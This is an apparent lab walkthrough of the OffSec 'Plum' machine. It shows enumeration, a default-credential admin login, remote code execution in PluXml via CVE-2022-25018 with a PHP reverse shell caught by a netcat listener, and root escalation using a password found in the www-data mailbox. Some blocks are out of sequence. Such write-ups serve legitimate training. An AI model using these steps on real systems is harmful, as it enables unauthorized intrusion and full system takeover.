Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
Overview
This lab emphasizes different enumeration methods, particularly web enumeration, to uncover vulnerabilities. Learners will exploit CVE-2022-25018 for initial access. The lab also teaches privilege escalation techniques to gain higher-level access within the system.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate services and identify the PluXml instance running on the web server.
- Log in to the administration panel using weak credentials (admin:admin).
- Exploit the static page editor to inject a PHP reverse shell payload.
- Access the system as the www-data user and locate the /var/mail directory.
- Extract root credentials from the www-data mailbox and use them to escalate privileges.
Scenario
This lab demonstrates exploiting a Remote Code Execution (RCE) vulnerability in PluXml v5.8.7 (CVE-2022-25018) by injecting a malicious PHP payload into a static page. Privilege escalation is achieved by discovering root credentials in the mail directory, enabling direct root access. This lab highlights weak web protections, file upload vulnerabilities, and privilege escalation through credential disclosure.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/plum]
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -u http://192.168.110.28/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.110.28/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
themes (Status: 301) [Size: 317] [--> http://192.168.110.28/themes/]
data (Status: 301) [Size: 315] [--> http://192.168.110.28/data/]
plugins (Status: 301) [Size: 318] [--> http://192.168.110.28/plugins/]
core (Status: 301) [Size: 315] [--> http://192.168.110.28/core/]
update (Status: 301) [Size: 317] [--> http://192.168.110.28/update/]
readme (Status: 301) [Size: 317] [--> http://192.168.110.28/readme/]
server-status (Status: 403) [Size: 279]
Progress: 220558 / 220558 (100.00%)
===============================================================
Finished
===============================================================This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
─(kali㉿kali)-[~/offsec/plum]
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -u http://192.168.110.28/core -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.110.28/core
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
templates (Status: 301) [Size: 325] [--> http://192.168.110.28/core/templates/]
admin (Status: 301) [Size: 321] [--> http://192.168.110.28/core/admin/]
lib (Status: 301) [Size: 319] [--> http://192.168.110.28/core/lib/]
lang (Status: 301) [Size: 320] [--> http://192.168.110.28/core/lang/]
vendor (Status: 301) [Size: 322] [--> http://192.168.110.28/core/vendor/]This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Reveal listening services and active network connections.
www-data@plum:/$ netstat -ntlpu
# Reveal listening services and active network connections.
netstat -ntlpu
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:25 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:58897 0.0.0.0:* -This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
## since port 25 is open, we check the /var/mail to see if we can find anything
# Inspect the directory for files relevant to the next step.
www-data@plum:/$ ls -al /var/mail
ls -al /var/mail
total 12
drwxrwsr-x 2 root mail 4096 Aug 25 2023 .
drwxr-xr-x 12 root root 4096 Aug 25 2023 ..
-rw-rw---- 1 www-data mail 746 Aug 25 2023 www-dataInitial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
Nmap scan report for 192.168.110.28
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: PluXml - Blog or CMS, XML powered !
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelgoing on
http://192.168.110.28/core/adminwe have a login page where we are able to login using default passwordadmin:adminFollowing the steps that we found on the github article https://github.com/MoritzHuppert/CVE-2022-25018/blob/main/CVE-2022-25018.pdf
In the php code, we added the pentest monkey reverse shell and we have the shell
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/plum]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.110.28] 39908
Linux plum 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
21:40:05 up 24 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can\'t access tty; job control turned off
# Run the helper or analysis script used in this lab step.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# Execute the next evidence-gathering step in the authorized lab.
www-data@plum:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
www-data@plum:/$ head -n 25 /var/mail/www-data
head -n 25 /var/mail/www-data
From root@localhost Fri Aug 25 06:31:47 2023
Return-path: <root@localhost>
Envelope-to: www-data@localhost
Delivery-date: Fri, 25 Aug 2023 06:31:47 -0400
Received: from root by localhost with local (Exim 4.94.2)
(envelope-from <root@localhost>)
id 1qZU6V-0000El-Pw
for www-data@localhost; Fri, 25 Aug 2023 06:31:47 -0400
To: www-data@localhost
From: root@localhost
Subject: URGENT - DDOS ATTACK\"
Reply-to: root@localhost
Message-Id: <E1qZU6V-0000El-Pw@localhost>
Date: Fri, 25 Aug 2023 06:31:47 -0400
We are under attack. We\'ve been targeted by an extremely complicated and sophisicated DDOS attack. I trust your skills. Please save us from this. Here are the credentials for the root user:
root:6s8kaZZNaZZYBMfh2YEW
Thanks,
AdministratorThis block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
www-data@plum:/$ su root
su root
Password: 6s8kaZZNaZZYBMfh2YEW
root@plum:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@plum:/#Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.